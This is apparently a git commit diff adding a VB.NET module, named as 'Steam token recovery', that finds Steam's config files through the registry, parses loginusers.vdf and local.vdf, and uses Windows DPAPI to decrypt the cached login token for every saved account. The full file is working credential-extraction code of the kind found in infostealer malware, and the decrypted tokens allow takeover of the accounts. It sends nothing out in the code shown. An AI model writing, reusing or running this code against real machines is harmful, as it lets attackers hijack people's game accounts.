initial commit
This commit is contained in:
@@ -0,0 +1,256 @@
|
||||
Imports System
|
||||
Imports System.Collections.Generic
|
||||
Imports System.IO
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Text
|
||||
Imports Microsoft.Win32
|
||||
|
||||
Namespace SteamTokenRecovery
|
||||
Public Class SteamTokenDecryptor
|
||||
|
||||
<DllImport("crypt32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
|
||||
Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB,
|
||||
<MarshalAs(UnmanagedType.LPWStr)> szDataDescr As String,
|
||||
ByRef pOptionalEntropy As DATA_BLOB,
|
||||
pvReserved As IntPtr,
|
||||
pPromptStruct As IntPtr,
|
||||
dwFlags As Integer,
|
||||
ByRef pDataOut As DATA_BLOB) As Boolean
|
||||
End Function
|
||||
|
||||
Private Shared Function CalculateCrc32(data As Byte()) As UInteger
|
||||
Dim crc As UInteger = UInteger.MaxValue
|
||||
For Each b As Byte In data
|
||||
crc = crc Xor CUInt(b)
|
||||
For i As Integer = 0 To 7
|
||||
If (crc And 1UI) = 1UI Then
|
||||
crc = (crc >> 1) Xor 3988292384UI
|
||||
Else
|
||||
crc >>= 1
|
||||
End If
|
||||
Next
|
||||
Next
|
||||
Return Not crc
|
||||
End Function
|
||||
|
||||
Private Shared Function GetConnectCacheKey(accountName As String) As String
|
||||
Dim bytes As Byte() = Encoding.UTF8.GetBytes(accountName)
|
||||
Dim crc As UInteger = CalculateCrc32(bytes)
|
||||
Return String.Format("{0:x}1", crc)
|
||||
End Function
|
||||
|
||||
Private Shared Function HexToBytes(hex As String) As Byte()
|
||||
Dim result((hex.Length \ 2) - 1) As Byte
|
||||
For i As Integer = 0 To hex.Length - 1 Step 2
|
||||
result(i \ 2) = Convert.ToByte(hex.Substring(i, 2), 16)
|
||||
Next
|
||||
Return result
|
||||
End Function
|
||||
|
||||
Public Shared Function DecryptSteamToken(token As String, accountName As String) As String
|
||||
Dim encryptedBytes As Byte() = HexToBytes(token)
|
||||
Dim dataIn, dataOut, optionalEntropy As DATA_BLOB
|
||||
Dim ptrData As IntPtr = IntPtr.Zero
|
||||
Dim ptrEntropy As IntPtr = IntPtr.Zero
|
||||
Dim result As String = String.Empty
|
||||
|
||||
Try
|
||||
ptrData = Marshal.AllocHGlobal(encryptedBytes.Length)
|
||||
Marshal.Copy(encryptedBytes, 0, ptrData, encryptedBytes.Length)
|
||||
dataIn.pbData = ptrData
|
||||
dataIn.cbData = encryptedBytes.Length
|
||||
|
||||
Dim entropyBytes As Byte() = Encoding.UTF8.GetBytes(accountName)
|
||||
ptrEntropy = Marshal.AllocHGlobal(entropyBytes.Length)
|
||||
Marshal.Copy(entropyBytes, 0, ptrEntropy, entropyBytes.Length)
|
||||
optionalEntropy.pbData = ptrEntropy
|
||||
optionalEntropy.cbData = entropyBytes.Length
|
||||
|
||||
If Not CryptUnprotectData(dataIn, Nothing, optionalEntropy, IntPtr.Zero, IntPtr.Zero, 0, dataOut) Then
|
||||
Throw New Exception("Decryption failed.")
|
||||
End If
|
||||
|
||||
Dim decrypted(dataOut.cbData - 1) As Byte
|
||||
Marshal.Copy(dataOut.pbData, decrypted, 0, dataOut.cbData)
|
||||
result = Encoding.UTF8.GetString(decrypted)
|
||||
Finally
|
||||
If ptrData <> IntPtr.Zero Then Marshal.FreeHGlobal(ptrData)
|
||||
If dataOut.pbData <> IntPtr.Zero Then Marshal.FreeHGlobal(dataOut.pbData)
|
||||
If ptrEntropy <> IntPtr.Zero Then Marshal.FreeHGlobal(ptrEntropy)
|
||||
End Try
|
||||
|
||||
Return result
|
||||
End Function
|
||||
|
||||
Public Shared Function GetDecryptedSteamTokens() As Dictionary(Of String, String)
|
||||
Dim result As New Dictionary(Of String, String)
|
||||
|
||||
Using key As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Valve\Steam")
|
||||
If key Is Nothing Then Throw New Exception("Steam registry key not found.")
|
||||
|
||||
Dim steamPath As String = TryCast(key.GetValue("SteamPath"), String)
|
||||
If String.IsNullOrEmpty(steamPath) Then Throw New Exception("SteamPath not found.")
|
||||
|
||||
Dim loginUsersPath As String = Path.Combine(steamPath, "config", "loginusers.vdf")
|
||||
If Not File.Exists(loginUsersPath) Then Throw New Exception("loginusers.vdf not found.")
|
||||
|
||||
Dim localVdfPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "local.vdf")
|
||||
If Not File.Exists(localVdfPath) Then Throw New Exception("local.vdf not found.")
|
||||
|
||||
Dim loginUsersContent As String = File.ReadAllText(loginUsersPath, Encoding.UTF8)
|
||||
Dim localVdfContent As String = File.ReadAllText(localVdfPath, Encoding.UTF8)
|
||||
|
||||
Dim loginUsersDoc As New VdfDocument(loginUsersContent)
|
||||
Dim localVdfDoc As New VdfDocument(localVdfContent)
|
||||
|
||||
Dim connectCache = localVdfDoc.GetDictionary("MachineUserConfigStore/Software/Valve/Steam/ConnectCache")
|
||||
If connectCache Is Nothing Then
|
||||
connectCache = localVdfDoc.GetDictionary("MachineUserConfigStore/Software/valve/Steam/ConnectCache")
|
||||
End If
|
||||
If connectCache Is Nothing Then Throw New Exception("ConnectCache not found.")
|
||||
|
||||
Dim users = loginUsersDoc.GetDictionary("users")
|
||||
If users Is Nothing Then Throw New Exception("No users found in loginusers.vdf.")
|
||||
|
||||
For Each userEntry In users
|
||||
Dim userDict = TryCast(userEntry.Value, Dictionary(Of String, Object))
|
||||
If userDict IsNot Nothing AndAlso userDict.ContainsKey("AccountName") Then
|
||||
Dim accountName = TryCast(userDict("AccountName"), String)
|
||||
If Not String.IsNullOrEmpty(accountName) Then
|
||||
Dim cacheKey = GetConnectCacheKey(accountName)
|
||||
If connectCache.ContainsKey(cacheKey) Then
|
||||
Dim token = TryCast(connectCache(cacheKey), String)
|
||||
If Not String.IsNullOrEmpty(token) Then
|
||||
Dim decryptedToken = DecryptSteamToken(token, accountName)
|
||||
result.Add(userEntry.Key, $"{accountName}.{decryptedToken}")
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
Next
|
||||
End Using
|
||||
|
||||
Return result
|
||||
End Function
|
||||
|
||||
Private Structure DATA_BLOB
|
||||
Public cbData As Integer
|
||||
Public pbData As IntPtr
|
||||
End Structure
|
||||
|
||||
Public Class VdfDocument
|
||||
Private _data As Dictionary(Of String, Object)
|
||||
|
||||
Public Sub New(vdfContent As String)
|
||||
Dim parser As New VdfParser(vdfContent)
|
||||
_data = parser.Parse()
|
||||
End Sub
|
||||
|
||||
Public Function GetDictionary(path As String) As Dictionary(Of String, Object)
|
||||
Dim parts = path.Split("/"c)
|
||||
Dim current = _data
|
||||
|
||||
For Each part In parts
|
||||
If current Is Nothing OrElse Not current.ContainsKey(part) Then
|
||||
Return Nothing
|
||||
End If
|
||||
current = TryCast(current(part), Dictionary(Of String, Object))
|
||||
Next
|
||||
|
||||
Return current
|
||||
End Function
|
||||
End Class
|
||||
|
||||
Public Class VdfParser
|
||||
Private _content As String
|
||||
Private _position As Integer
|
||||
|
||||
Public Sub New(content As String)
|
||||
_content = content
|
||||
_position = 0
|
||||
End Sub
|
||||
|
||||
Public Function Parse() As Dictionary(Of String, Object)
|
||||
SkipWhitespace()
|
||||
If PeekChar() <> "{"c AndAlso PeekChar() <> """"c Then
|
||||
Throw New FormatException("Invalid VDF format - expected '{' or '""'.")
|
||||
End If
|
||||
|
||||
If PeekChar() = "{"c Then
|
||||
Return ParseObject()
|
||||
Else
|
||||
Dim result As New Dictionary(Of String, Object)
|
||||
While _position < _content.Length AndAlso PeekChar() <> ChrW(0)
|
||||
SkipWhitespace()
|
||||
If PeekChar() = ChrW(0) Then Exit While
|
||||
Dim key = ParseString()
|
||||
SkipWhitespace()
|
||||
If PeekChar() = "{"c Then
|
||||
result(key) = ParseObject()
|
||||
Else
|
||||
result(key) = ParseString()
|
||||
End If
|
||||
End While
|
||||
Return result
|
||||
End If
|
||||
End Function
|
||||
|
||||
Private Function ParseObject() As Dictionary(Of String, Object)
|
||||
Dim dict As New Dictionary(Of String, Object)
|
||||
ExpectChar("{"c)
|
||||
SkipWhitespace()
|
||||
While PeekChar() <> "}"c
|
||||
If PeekChar() = ChrW(0) Then Throw New FormatException("Unexpected end of VDF content.")
|
||||
Dim key = ParseString()
|
||||
SkipWhitespace()
|
||||
If PeekChar() = "{"c Then
|
||||
dict(key) = ParseObject()
|
||||
Else
|
||||
dict(key) = ParseString()
|
||||
End If
|
||||
SkipWhitespace()
|
||||
End While
|
||||
ExpectChar("}"c)
|
||||
Return dict
|
||||
End Function
|
||||
|
||||
Private Function ParseString() As String
|
||||
If PeekChar() <> """"c Then Throw New FormatException("Expected '""' at start of string.")
|
||||
_position += 1
|
||||
Dim sb As New StringBuilder
|
||||
While PeekChar() <> """"c AndAlso PeekChar() <> ChrW(0)
|
||||
Dim c = ReadChar()
|
||||
If c = "\"c AndAlso PeekChar() <> ChrW(0) Then
|
||||
c = ReadChar()
|
||||
End If
|
||||
sb.Append(c)
|
||||
End While
|
||||
If PeekChar() <> """"c Then Throw New FormatException("Unterminated string.")
|
||||
_position += 1
|
||||
Return sb.ToString()
|
||||
End Function
|
||||
|
||||
Private Function PeekChar() As Char
|
||||
If _position >= _content.Length Then Return ChrW(0)
|
||||
Return _content(_position)
|
||||
End Function
|
||||
|
||||
Private Function ReadChar() As Char
|
||||
If _position >= _content.Length Then Return ChrW(0)
|
||||
Dim c = _content(_position)
|
||||
_position += 1
|
||||
Return c
|
||||
End Function
|
||||
|
||||
Private Sub ExpectChar(c As Char)
|
||||
If ReadChar() <> c Then Throw New FormatException($"Expected '{c}'")
|
||||
End Sub
|
||||
|
||||
Private Sub SkipWhitespace()
|
||||
While _position < _content.Length AndAlso Char.IsWhiteSpace(_content(_position))
|
||||
_position += 1
|
||||
End While
|
||||
End Sub
|
||||
End Class
|
||||
End Class
|
||||
End Namespace
|
||||
Reference in New Issue
Block a user